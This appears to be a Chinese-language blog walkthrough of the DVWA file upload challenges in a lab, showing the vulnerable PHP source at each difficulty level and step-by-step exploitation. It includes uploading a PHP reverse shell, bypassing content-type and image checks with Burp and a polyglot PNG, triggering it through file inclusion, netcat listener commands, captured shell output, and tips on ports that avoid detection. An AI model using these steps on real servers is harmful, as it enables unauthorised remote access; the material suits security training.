滲透測試重新打底(3.8)--論Web入侵之File Upload攻擊


Posted by kahatrix on 2023-09-22

File upload介紹

用admin/password登入,進去之後畫面:

點上圖的2以後:

?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

這個source code可以看到說他用了一個post request然後做upload,upload之後他沒有對沒有做任何的filter,檔案上去了就就直接上去也沒有針對比如說檔案的extension或者是看有沒有檔案的magic header。好所以要針對這樣的漏洞進行攻擊其實很簡單。因為他這邊是PHP的檔案的web server那我們可以使用像是PHP reverse shell的這個檔案我們可以看一下在哪:

┌──(kali㉿kali)-[~]
└─$ locate php-reverse-shell.php
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php

補充一下,這個web shell的資料夾裡面不只PHP的shell檔案還有很多其他像是perl或是ASP各大這種針對web server,他都會有:

┌──(kali㉿kali)-[/usr/share/webshells]
└─$ ls -al                      
total 40
drwxr-xr-x   8 root root  4096 Aug  8  2022 .
drwxr-xr-x 356 root root 12288 May 19 03:40 ..
drwxr-xr-x   2 root root  4096 Aug  8  2022 asp
drwxr-xr-x   2 root root  4096 Aug  8  2022 aspx
drwxr-xr-x   2 root root  4096 Aug  8  2022 cfm
drwxr-xr-x   2 root root  4096 Aug  8  2022 jsp
lrwxrwxrwx   1 root root    19 Aug  8  2022 laudanum -> /usr/share/laudanum
drwxr-xr-x   2 root root  4096 Aug  8  2022 perl
drwxr-xr-x   3 root root  4096 Dec 10  2022 php

PHP reverse shell他就是一個很巨大的PHP檔案,我們通常會拿他來做反彈shell,那在這邊要編輯一下他的IP他有告訴你他的IP跟port要改一下:

如果習慣是port 4444,那這個習慣其實不是很好,因為port4444常常會被擋掉,所以比較好的選擇比如說會是443,因為他是走https或者是port80這種這種port比較常被使用的。當你真正在打Lab或者是真正做滲透測試的時候,比較不會被抓到。

aaa

記得執行php前要先在攻擊機聽port

┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234              
listening on [any] 1234 ...

根據下圖的下面紅圈來決定網址列要打什麼:

成功反彈shell

┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234              
listening on [any] 1234 ...
connect to [10.18.71.25] from (UNKNOWN) [10.10.85.14] 42753
Linux ip-10-10-85-14 3.13.0-158-generic #208-Ubuntu SMP Fri Aug 24 17:07:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 15:19:01 up 17 min,  0 users,  load average: 0.00, 0.07, 0.20
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

依下圖步驟更換難度:

進入檔案上傳頁面:

可以按上圖右下角部分看原始碼:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

中等的source code(如上)可以看到稍微多一點東西,在這個upload type的地方他會check說他是不是image jpeg或者是png的檔案類型,而且他限定了檔案的大小,所以這樣子看起來貌似好像只有image可以可以上傳,但是這其實很簡單就可以做bypass。

比如說我們可以用像是burp來做處理:

設定proxy:

複製之前的php web shell並改個檔名:

┌──(kali㉿kali)-[~/THM]
└─$ cp php-reverse-shell.php php-reverse-shell.png

首先我們的content type瀏覽器已經幫我們變成image.png,然後檔案本身當然是我們的惡意的php這沒有什麼疑問,那我們可以在這filename的地方原本副檔名是png我們把它改回php就可以了,因為剛剛的source code沒有針對副檔名進行辨認,只有針對content type進行辨認。

把上面的png改成php後按右上角Forward,正式上傳:

一樣,先聽port:

┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234                                 
listening on [any] 1234 ...

也一樣改網址觸發reverse shell:

可以發現shell反彈回來:

┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234                                 
listening on [any] 1234 ...
connect to [10.18.71.25] from (UNKNOWN) [10.10.85.14] 42758
Linux ip-10-10-85-14 3.13.0-158-generic #208-Ubuntu SMP Fri Aug 24 17:07:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 15:47:07 up 45 min,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

這個小trick其實在OSCP lab中非常常見,當然在lab之中他不會給你source code,但是可以用這樣的方式來跟大家分享,如果你今天你的檔案上傳失敗了,他可能失敗的原因是什麼,以及你可以做怎麼樣的嘗試去做繞過。

看看難度high的原始碼:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

除了副檔名之外呢,他還使用了getimagesize,他會去去看看這個檔案的magic header,等於是去parse你所上傳的檔案,所以照理來說如果你上傳了一個純PHP檔案,你就沒有辦法通過這一個get image size這一個parser,當然也就不會得到一個檔案上傳的結果。

┌──(kali㉿kali)-[~/THM]
└─$ ls -al
total 32
drwxr-xr-x  2 kali kali 4096 Jul 27 11:59 .
drwxr-xr-x 31 kali kali 4096 Jul 27 11:12 ..
-rw-r--r--  1 kali kali 5044 Jul 27 11:59 logo.png
-rwxr-xr-x  1 kali kali 5493 Jul 27 11:12 php-reverse-shell.php
-rwxr-xr-x  1 kali kali 5493 Jul 27 11:35 php-reverse-shell.png

┌──(kali㉿kali)-[~/THM]
└─$ cat php-reverse-shell.png >> logo.png

我們可以把PHP的檔案夾在檔案的尾巴。下面指令是pipe然後用less這個工具,這個工具的話他因為我已經知道檔案非常長所以我用less這個小工具來限定說我要從最檔案的最上面開始看一下。

┌──(kali㉿kali)-[~/THM]
└─$ hexdump logo.png -C | less

看看logo.png的長相:

檢查一下現在的圖片檔:

上傳成功:

大家可能會好奇說我們要怎麼樣去執行這個logo.png檔案。這個時候不能夠像剛剛low跟medium一樣直接呼叫他,因為他呼叫起來就只是一個png檔案。

我們要怎麼樣呼叫呢?我們可以用其他的漏洞,比如說在旁邊file inclusion的地方,但先把難度調回最簡單。

瀏覽器不只支援http他也支援像是像file或是ftp還有其他的方法,那在這個地方我們要注意一下,如果你在這邊用file的話,最好加上四個slash通常才會work,因為在parse的時候他可能會把兩個變成一個,所以你如果要確保你有兩個slash傳進去的話,你要在你的瀏覽器url上面打四個。link的話這個folder的架構應該linux都是一樣的,然後再來是hackable upload,完整網址:

http://10.10.85.14/vulnerabilities/fi/?page=file:////var/www/html/hackable/uploads/logo.png

成功反彈:

┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234                                 
listening on [any] 1234 ...
connect to [10.18.71.25] from (UNKNOWN) [10.10.85.14] 42771
Linux ip-10-10-85-14 3.13.0-158-generic #208-Ubuntu SMP Fri Aug 24 17:07:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 16:17:16 up  1:15,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

可以trigger檔案的檔案路徑找法? 有兩種解法,第一是比如說你可以透過像是如果你很幸運你有command injection的話,你可以透過就是比如說執行command去找一下檔案在哪裡。第二是你可以上傳一個奇怪檔名的檔案,然後你記好這個檔案名稱之後你可以用gobuster或者是dirbuster去帶這個字典檔,這兩個工具就是會幫你去掃目標的directory。那如果你很幸運的掃到了你的檔案,這種還是要透過爆破會比較快。另外一種比較慢的方法就是可能要去研究一下對方的目標,但這也是比較常見的解法,我自己遇到狀況是這樣,就是你只能在他的那個webapplication裡面一個一個去試,當然首先你要先確保你能夠做directory traversal,那如果不行的話那真的是只能用盲注去找出你的檔案。










Related Posts

程式導師實驗計畫 FE102

程式導師實驗計畫 FE102

Set Up Developer Options And Mobile Capabilities For Appium

Set Up Developer Options And Mobile Capabilities For Appium

Introduction to Fake Door Testing

Introduction to Fake Door Testing


Comments